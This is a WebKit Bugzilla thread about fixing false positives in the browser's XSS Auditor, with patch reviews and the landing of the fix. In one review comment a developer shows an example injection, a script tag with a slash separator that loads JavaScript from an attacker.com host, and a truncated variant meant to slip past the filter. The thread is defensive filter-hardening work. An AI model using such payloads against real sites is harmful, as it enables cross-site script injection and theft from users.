WebKit Bugzilla
New
Browse
Log In
×
Sign in with GitHub
or
Remember my login
Create Account
·
Forgot Password
Forgotten password account recovery
RESOLVED FIXED
Bug 79397
XSS Auditor targeting legitimate frames as false positives.
https://bugs.webkit.org/show_bug.cgi?id=79397
Summary
XSS Auditor targeting legitimate frames as false positives.
Thomas Sepez
Reported
2012-02-23 13:52:41 PST
Report by fbingha, Feb 20 (3 days ago) at
http://code.google.com/p/chromium/issues/detail?id=98787
Say you have an editor and in your page source you have a script reference, say <script type="text/javascript" src="
https://www.vbulletin.com/forum/clientscript/vbulletin-core.js?v=4110c
"></script> Now say, within the editor you type: src="
https://www.vbulletin.com
" Or even better, your editor has an image in it like <img src="
https://www.vbulletin.com/me.png
" /> Now you preview, and bang, javascript is dead because Chrome insists on ANY usage of src="yourdomain" appearing in the request means that an XSS has been triggered. Previously I would had to have this in my request to trigger the problem: src="
https://www.vbulletin.com/forum/clientscript/vbulletin-core.js?v=4110c
"> Now you've pared it down to just this src="
https://www.vbulletin.com
">
Attachments
Patch + tests
(6.49 KB, patch)
2012-02-23 13:58 PST
,
Thomas Sepez
no flags
Details
Formatted Diff
Diff
Patch + some refactoring.
(13.84 KB, patch)
2012-02-23 15:58 PST
,
Thomas Sepez
abarth
: review+
Details
Formatted Diff
Diff
Patch w/ fixed char grab
(13.71 KB, patch)
2012-02-23 16:21 PST
,
Thomas Sepez
no flags
Details
Formatted Diff
Diff
Patch for landing
(13.65 KB, patch)
2012-02-24 18:19 PST
,
Adam Barth
no flags
Details
Formatted Diff
Diff
Show Obsolete
(3)
View All
Add attachment
proposed patch, testcase, etc.
Thomas Sepez
Comment 1
2012-02-23 13:58:34 PST
Created
attachment 128551
[details]
Patch + tests This is the most straightforward way of preventing these false positives. Please double-check that we don't care about these "protected" attributes without an injected tag.
Adam Barth
Comment 2
2012-02-23 14:02:09 PST
Comment on
attachment 128551
[details]
Patch + tests View in context:
https://bugs.webkit.org/attachment.cgi?id=128551&action=review
> Source/WebCore/html/parser/XSSAuditor.cpp:338 > + if (isContainedInRequest("<script"))
What about "<ScriPt" ? IMHO, it would be better if we grabbed the characters to match from the m_cachedSnippet.
Thomas Sepez
Comment 3
2012-02-23 14:06:10 PST
IsContainedInRequest() should handle the case issues. Also there's an ASSERT(hasName(token, embedTag)). But we'll take it from token.name
Thomas Sepez
Comment 4
2012-02-23 15:58:55 PST
Created
attachment 128580
[details]
Patch + some refactoring.
Adam Barth
Comment 5
2012-02-23 16:03:00 PST
Comment on
attachment 128580
[details]
Patch + some refactoring. View in context:
https://bugs.webkit.org/attachment.cgi?id=128580&action=review
> Source/WebCore/html/parser/XSSAuditor.cpp:502 > + size_t start = decodedSnippet.find("<");
How can this fail to be the first character?
Thomas Sepez
Comment 6
2012-02-23 16:04:13 PST
(In reply to
comment #5
)
> (From update of
attachment 128580
[details]
) > View in context:
https://bugs.webkit.org/attachment.cgi?id=128580&action=review
> > > Source/WebCore/html/parser/XSSAuditor.cpp:502 > > + size_t start = decodedSnippet.find("<"); > > How can this fail to be the first character?
Wasn't sure, nor was I taking any chances...
Adam Barth
Comment 7
2012-02-23 16:08:22 PST
Comment on
attachment 128580
[details]
Patch + some refactoring. View in context:
https://bugs.webkit.org/attachment.cgi?id=128580&action=review
This looks great.
> Source/WebCore/html/parser/XSSAuditor.cpp:316 > + if (isContainedInRequest(m_cachedDecodedSnippet) && isContainedInRequest(decodedSnippetForJavascript(token))) {
Javascript => JavaScript
Adam Barth
Comment 8
2012-02-23 16:10:57 PST
Here's an interesting case: <script/src="
http://attacker.com/foo.js
"></script> I think we get that subtly wrong in this patch, actually. The attacker can inject: <script/src="
http://attacker.com/foo
and let the rest of the page terminate the request. We'll wait for an HTMLSpace to terminate the token name, which could include characters that aren't in the request.
Adam Barth
Comment 9
2012-02-23 16:11:55 PST
Rather than searching for an HTMLSpace to terminate the token name, why don't we just grab a fixed number of characters equal to one plus the length of the token's name (to account for the "<")?
Thomas Sepez
Comment 10
2012-02-23 16:21:56 PST
Created
attachment 128592
[details]
Patch w/ fixed char grab
Adam Barth
Comment 11
2012-02-23 16:24:59 PST
Comment on
attachment 128592
[details]
Patch w/ fixed char grab Ok. We should also add a test for the <script/src thing do we don't forget it in the future.
WebKit Commit Bot
Comment 12
2012-02-24 02:08:32 PST
Attachment 128592
[details]
did not pass style-queue: Failed to run "['Tools/Scripts/check-webkit-style', '--diff-files', u'LayoutTests/ChangeLog', u'LayoutTests/http..." exit_code: 1 Source/WebCore/html/parser/XSSAuditor.cpp:495: Place brace on its own line for function definitions. [whitespace/braces] [4] Source/WebCore/html/parser/XSSAuditor.cpp:500: Place brace on its own line for function definitions. [whitespace/braces] [4] Total errors found: 2 in 7 files If any of these errors are false positives, please file a bug against check-webkit-style.
Adam Barth
Comment 13
2012-02-24 18:19:43 PST
Created
attachment 128837
[details]
Patch for landing
WebKit Review Bot
Comment 14
2012-02-24 18:39:27 PST
Comment on
attachment 128837
[details]
Patch for landing Clearing flags on attachment: 128837 Committed
r108881
: <
http://trac.webkit.org/changeset/108881
>
WebKit Review Bot
Comment 15
2012-02-24 18:39:32 PST
All reviewed patches have been landed. Closing bug.
Note
You need to
log in
before you can comment on or make changes to this bug.
Top of Page
Format For Printing
XML
Clone This Bug